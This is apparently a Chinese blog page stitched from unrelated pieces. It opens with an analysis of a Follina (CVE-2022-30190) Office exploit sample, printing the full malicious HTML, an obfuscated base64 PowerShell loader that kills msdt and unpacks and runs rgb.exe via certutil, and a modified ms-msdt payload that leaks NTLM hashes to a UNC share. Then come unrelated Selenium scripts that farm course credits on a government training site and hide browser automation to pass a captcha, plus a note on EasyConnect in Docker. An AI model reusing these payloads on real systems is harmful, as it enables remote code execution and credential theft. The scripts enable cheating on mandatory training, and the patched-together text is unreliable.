纯情 发布的文章

前言

近期新爆出的漏洞office的0day,利用msdt+远程加载
CVE:CVE-2022-30190

样本地址:https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/#

简单分析

无VBA,远程加载


doc改名zip解压,搜索远程加载的地址定位到word_rels\document.xml.rels

通过查看app.any.run沙箱捕获的请求地址内容,查看如下

中间的内容是一段powershell,解码后如下

<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


    window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
</script>


</body>
</html>


////////////////////
powershell IEX运行
$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))




///////////////////
base64解码内容:
$cmd = "c:\windows\system32\cmd.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe"; # 隐藏窗口杀死msdt.exe
Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe"; # 进入public目录,循环遍历 RAR 文件中的文件,查找编码 CAB


文件的 Base64 字符串
将此 Base64 编码的 CAB 文件存储为1.t
解码Base64编码的CAB文件保存为1.c
将1.c CAB文件展开到当前目录,最后:
执行rgb.exe(大概压缩在1.c CAB文件里面)

运行了rgb.exe后会释放几个文件,最后调用csc编译
(cs太长了就不贴出来了)





msdt微软官方参数解释如下:



param参数貌似微软没公开怎么调用,只给了架构图

漏洞复现

参考链接:
https://huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug
https://benjamin-altpeter.de/shell-openexternal-dangers/
https://github.com/JohnHammond/msdt-follina

tips:html注释内容不能少于4096字节
将原payload修改为以下可以远程请求获取NTLM

ms-msdt:-id PCWDiagnostic /moreoptions false /skip true /param IT_BrowseForFile="\\\\192.168.92.129\\sharp\\calc.exe" /param IT_SelectProgram="NotListed" /param IT_AutoTroubleshoot="ts_AUTO"



执行命令和上线


踩坑:powershell语句太长base64编码执行不成功报错如下

正文

我的chrome没有适合的驱动版本,又不想卸载重装,于是就用了edge,同时将edge停掉了自动更新,防止更新后驱动不能用
使用前,需要先自选课程,多说一句,本来用selenium弄了自选的代码,结果偶尔会报错,就懒得弄了。选好课程后,启动程序将自动学习,直到你的自选课程学完或者学够了50分,程序将停止
为了不影响电脑的前台操作,将窗口后台运行了,并关掉了音量,自己运行时,可以看一下注释,想听声音或者前台运行,可以将相应的代码注释掉就可以了

以下为代码

from selenium import webdriver
import time
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.service import Service
 
def start():
    browser.get("http://www.hbgbzx.gov.cn/login.html")  # 打开干部在线
    time.sleep(3)
    login(account,password)
 
def login(account,password):
    browser.find_element(By.ID, 'name').send_keys(account)  # 输入账号
    time.sleep(2)
    browser.find_element(By.ID, "password").send_keys(password) # 输入密码
    time.sleep(2)
    browser.find_element(By.XPATH, '//*[@id="form1"]/div/div/ul/li[3]/input').click()   # 点击确定
    time.sleep(3)
    print('------登录成功!!-----')
    browser.switch_to.alert.accept()    # 跳过登陆后的弹窗
    time.sleep(2)
    browser.find_element(By.XPATH, '//*[@id="menu3"]/p').click()  # 打开我的课程
    time.sleep(2)
    browser.find_element(By.XPATH, '//*[@id="sonmenu3"]/div[1]/a').click()  # 打开自选课程
    time.sleep(2)
    study()
 
def study():
    browser.find_element(By.XPATH, '//*[@id="right"]/div[4]/table/tbody/tr[3]/td/a[1]').click()  # 点击我要学习按钮
    name=browser.find_element(By.XPATH,'//*[@id="right"]/div[4]/table/tbody/tr[1]/td/span').text    # 课程的名字
    # 课程的时长
    minute=browser.find_element(By.XPATH,'//*[@id="right"]/div[4]/table/tbody/tr[2]/td/div[4]/span[2]').text
    time.sleep(2)
    print(f'开始学习!')
    print(f'{name}')
    print(f'时长{minute}')
    browser.switch_to.window(browser.window_handles[1]) # 切换到视频学习网页的页面
    # 跳过网页内的双层iframe嵌套
    browser.switch_to.frame('course_frm')
    browser.switch_to.frame('course_frame')
    browser.find_element(By.XPATH, '/html/body/div/div[3]/div[2]').click()  # 点击开始学习或者继续学习按钮
    time.sleep(3)
    browser.switch_to.window(browser.window_handles[0]) # 切换回自选课程页面
    browser.refresh()   # 刷新网页
    choose(count)
 
def choose(count):
    # 获取左下角的总分数
    score = browser.find_element(By.XPATH, '//*[@id="xyxx"]/div[4]/span').text
    print(f'现在总分为:{score}')
    # 获取当前学习课程的分数
    # percent = browser.find_element(By.XPATH, '//*[@id="right"]/div[4]/table/tbody/tr[2]/td/div[2]/span/span').text
    # 判断总分数是否大于等于50分,若大于等于50分,则退出程序
    if score<'50.00':
        while True:
            # 将总分数赋值给m,用以判断程序的运行
            time.sleep(60)  # 每60秒刷新一次网页,并记录刷新网页的次数
            browser.refresh()
            count += 1
            print(f'第{count}次刷新页面,60秒后再次刷新页面')
            # 页面刷新后将总分数再次赋值给x,用以判断是否调用study()函数
            x=browser.find_element(By.XPATH, '//*[@id="xyxx"]/div[4]/span').text
            # 学习进度情况
            percent=browser.find_element(By.XPATH,'//*[@id="right"]/div[4]/table/tbody/tr[3]/td/span').text
            print(f'当前学习进度为:{percent}')
            if x<'50.00':
                study()
            # elif m<x:
            #     study()
            else:
                print('已经大于50分,程序退出')
                break
    else:
        browser.quit()
        print('已经学习了50分,本次学习结束')
 
if __name__ == '__main__':
    account=input('请输入你的账号:')
    password=input('请输入你的密码:')
    count = 0
    edge_driver = Service(r"E:\\edgedriver\\msedgedriver.exe")  # 调用edge浏览器的驱动程序
    option=webdriver.EdgeOptions()
    option.use_chromium=True
    option.add_argument('headless')     # 将浏览器后台运行,不影响前台的操作
    option.add_argument('disable-gpu')
    option.add_argument('--mute-audio') # 关闭浏览器内的声音
    browser = webdriver.Edge(service=edge_driver,options=option)
    start()

现在云班课经验值获取规则如下:观看完视频后,点击图片/ppt/doc/pdf/xlsx/网页链接就有
手动刷视频,其他的python脚本程序可以刷
账号、cookie、课程网址需要填写到代码中

from time import sleep
 
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.action_chains import ActionChains
from selenium.webdriver.common.keys import Keys
 
class Browser:
 
    login_token = {}
    phone_number = ''
 
    course1 = '' 
    course2 = '' 
    login_url = 'https://www.mosoteach.cn/web/index.php?c=passport&m=index'
 
    def __init__(self):
        options = Options()
        options.page_load_strategy = 'eager'
        self.browser = webdriver.Chrome(options=options)
        self.browser.maximize_window()
        # 修改 window.navigator.webdriver 的值
        self.browser.execute_cdp_cmd('Page.addScriptToEvaluateOnNewDocument', {
            'source':'''
            Object.defineProperty(navigator, 'webdriver', {
                get: () => undefined
                })'''
        })
 
    def get_cookie(self):
        self.browser.get(self.login_url)
        self.browser.find_element(By.ID, 'phone-login-button').click()  # 切换到短信验证码登录
        self.browser.find_element(By.ID, 'phone-login-remember-me').click() # 勾选 30 天自动登录
        self.browser.find_element(By.ID, 'phone-number').send_keys(self.phone_number)
 
        slider = self.browser.find_element(By.XPATH, '//div[@class="slider-box"]//span[@class="nc_iconfont btn_slide"]')
        size = self.browser.find_element(By.XPATH, '//div[@class="slider-box"]//div[@class="scale_text slidetounlock"]').size
        ActionChains(self.browser).drag_and_drop_by_offset(slider, size['width'], -size['height']).perform()    # 滑动滑块
        button = self.browser.find_element(By.ID, 'get-verify-code')
        WebDriverWait(self.browser, 3).until(EC.element_to_be_clickable(button))    # 判断节点是否可以点击
        button.click()
        input = self.browser.find_element(By.XPATH, '//div[@class="verify-box"]/input')
        input.click()   # 将光标定位到输入框
        # 判断验证码是否输入完毕
        while True:
            verify_code = input.get_attribute('value')
            if len(verify_code) == 4:
                break
        self.browser.find_element(By.ID, 'login-button-2').click()
        WebDriverWait(self.browser, 30).until(EC.title_is('云班课 - 我的班课'))
        cookie = self.browser.get_cookie('login_token')
        with open('d:/cookies.txt', 'w', encoding='utf-8') as f:
            f.write(str(cookie))
 
    # 勾选 30 天自动登录后,才有 login_token 这个 cookie
    def login(self):
        self.browser.get(self.login_url)
        self.browser.delete_all_cookies()
        self.browser.add_cookie(self.login_token)
        self.browser.get(self.login_url)
 
    def browse(self):
        self.browser.get(self.course2)   # 打开课程
        hide_div = self.browser.find_elements(By.CLASS_NAME, 'hide-div')
        for div in hide_div:
            print(div.find_element(By.XPATH, './preceding-sibling::*').find_element(By.TAG_NAME, 'span').text)
            self.browser.execute_script('arguments[0].scrollIntoView();', div)  # 将页面跳转到元素的位置
            remain = div.find_element(By.XPATH, './preceding-sibling::*/span[3]').text
            if remain == '0':   # 判断是否有未读文件
                continue
            if div.get_attribute('data-status')  == 'N':    # 判断是否已展开
                div.find_element(By.XPATH, './preceding-sibling::*').click()    # 展开分组
            resource = div.find_elements(By.CLASS_NAME, 'res-info')
            # 资源有:.jpg(Esc 键关闭)、.pdf/.pptx/.doc/.xls/网页链接(新标签页打开)、视频(手动播放)
            for res in resource:
                self.browser.execute_script('arguments[0].scrollIntoView();', res)  # 将页面跳转到元素的位置
                if res.find_elements(By.XPATH, './div[2]/span')[-3].get_attribute('data-is-drag') == 'N':     # 筛选出未读的资源
                    filename = res.find_element(By.CLASS_NAME, 'res-name').text
                    print(filename)
                    if filename.endswith('.mp4'):   # 跳过视频
                        continue
                    elif filename.endswith('.jpg'):   # 图片
                        print('正在打开图片:', filename)
                        res.click()
                        sleep(2)    # 视网络情况可适当修改时间,建议2~3秒
                        # self.browser.find_element(By.XPATH, '//div[@class="viewer-canvas"]/img').send_keys(Keys.ESCAPE)
                        # &#128070;,想通过 Esc 键关闭图片,但是一直报错,怀疑没有找对施加 Esc 键的元素
                        self.browser.find_element(By.XPATH, '//div[@class="viewer-button viewer-close"]').click()
                    # 在新标签页中打开,最后一起关闭。但是当标签页太多,可能会出现问题
                    else:  # 文件或者网页,在新标签页打开
                        print('正在打开资源:', filename)
                        ActionChains(self.browser).key_down(Keys.CONTROL).perform()
                        res.click()
                        ActionChains(self.browser).key_up(Keys.CONTROL).perform()
 
 
Browser = Browser()
#Browser.get_cookie()
Browser.login()
Browser.browse()
from time import sleep
 
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.action_chains import ActionChains
from selenium.webdriver.common.keys import Keys
 
class Browser:
    def __init__(self):
        options = Options()
        options.page_load_strategy = 'eager'
        self.browser = webdriver.Chrome(options=options)
        self.browser.maximize_window()
        # 修改 window.navigator.webdriver 的值,不然滑块验证过不去
        self.browser.execute_cdp_cmd('Page.addScriptToEvaluateOnNewDocument', {
            'source':'''
            Object.defineProperty(navigator, 'webdriver', {
                get: () => undefined
                })'''
        })
 
    def get_cookies(self):
        self.browser.get('https://www.mosoteach.cn/web/index.php?c=passport&m=index')
        self.browser.find_element(By.ID, 'phone-login-button').click()  # 切换到短信验证码登录
        self.browser.find_element(By.ID, 'phone-login-remember-me').click() # 勾选 30 天自动登录
        self.browser.find_element(By.ID, 'phone-number').send_keys('')    # 输入手机号
 
        slider = self.browser.find_element(By.XPATH, '//div[@class="slider-box"]//span[@class="nc_iconfont btn_slide"]')
        size = self.browser.find_element(By.XPATH, '//div[@class="slider-box"]//div[@class="scale_text slidetounlock"]').size
        ActionChains(self.browser).drag_and_drop_by_offset(slider, size['width'], -size['height']).perform()    # 滑动滑块
        button = self.browser.find_element(By.ID, 'get-verify-code')
        WebDriverWait(self.browser, 3).until(EC.element_to_be_clickable(button))    # 判断节点是否可以点击
        button.click()
        input = self.browser.find_element(By.XPATH, '//div[@class="verify-box"]/input')
        input.click()   # 将光标定位到输入框
        # 判断验证码是否输入完毕
        while True:
            verify_code = input.get_attribute('value')
            if len(verify_code) == 4:
                break
        self.browser.find_element(By.ID, 'login-button-2').click()
        WebDriverWait(self.browser, 30).until(EC.title_is('云班课 - 我的班课'))
        cookies = self.browser.get_cookie('login_token')
        with open('d:/cookies.txt', 'w', encoding='utf-8') as f:
            f.write(str(cookies))
 
    # 勾选 30 天自动登录后,才有 login_token 这个 cookie
    def login(self):
        self.browser.get('https://www.mosoteach.cn/web/index.php?c=passport&m=index')
        self.browser.delete_all_cookies()
        self.browser.add_cookie(cookie)    # 输入你的 cookie
        self.browser.get('https://www.mosoteach.cn/web/index.php?c=passport&m=index')
 
    def browse(self):
        self.browser.get('  ')   # 课程网址
        hide_div = self.browser.find_elements(By.CLASS_NAME, 'hide-div')
        for div in hide_div:
            self.browser.execute_script('arguments[0].scrollIntoView();', div)  # 将页面跳转到元素的位置
            remain = div.find_element(By.XPATH, './preceding-sibling::*/span[3]').text
            if remain == '0' or div.get_attribute('data-status')  == 'Y':   # 判断是否有未读文件,有的话再判断分组是否展开
                continue
            div.find_element(By.XPATH, './preceding-sibling::*').click()    # 展开分组
            resource = div.find_elements(By.CLASS_NAME, 'res-info')
            # 资源有:.jpg(Esc 键关闭)、.pdf/.pptx/.doc/.xls/网页链接(新标签页打开)、视频(手动播放)
            for res in resource:
                self.browser.execute_script('arguments[0].scrollIntoView();', res)  # 将页面跳转到元素的位置
                if res.find_element(By.XPATH, './div[2]/span[7]').get_attribute('data-is-drag') == 'N':     # 筛选出未读的资源
                    filename = res.find_element(By.CLASS_NAME, 'res-name').text
                    type = res.find_element(By.XPATH, './parent::*').get_attribute('class').split()[2]  # 判断是否是网页
                    judge = {filename.endswith(i) for i in ['.pdf', '.pptx', '.doc', '.xls']}   # 判断是否是文件
                    if filename.endswith('.jpg'):   # 图片
                        print('正在打开图片:', filename)
                        res.click()
                        sleep(3)
                        # self.browser.find_element(By.XPATH, '//div[@class="viewer-canvas"]/img').send_keys(Keys.ESCAPE)
                        # &#128070;,想通过 Esc 键关闭图片,但是一直报错,怀疑没有找对施加 Esc 键的元素
                        self.browser.find_element(By.XPATH, '//div[@class="viewer-button viewer-close"]').click()
                    # 在新标签页中打开,最后一起关闭。但是当标签页太多,可能会出现问题
                    elif judge == {True, False} or type == 'web':  # 需要新标签页打开的
                        print('正在打开资源:', filename)
                        ActionChains(self.browser).key_down(Keys.CONTROL).perform()
                        res.click()
                        ActionChains(self.browser).key_up(Keys.CONTROL).perform()
 
 
Browser = Browser()
Browser.login()
Browser.browse()

我们公司连到内网需要登陆 easyconnect ,这个软件会在后台常驻一个线程,看着很不爽,同时也害怕他在后台上传啥数据,所以我在 github 上找到了一个在 docker 内跑 easyconnect 的库 https://github.com/Hagb/docker-easyconnect

这个库很好用,但是吧,命令行之类的代理起来比较麻烦,今天我测试了一下使用 surge 添加 easyconnect 的代理,果然可以使用增强模式。

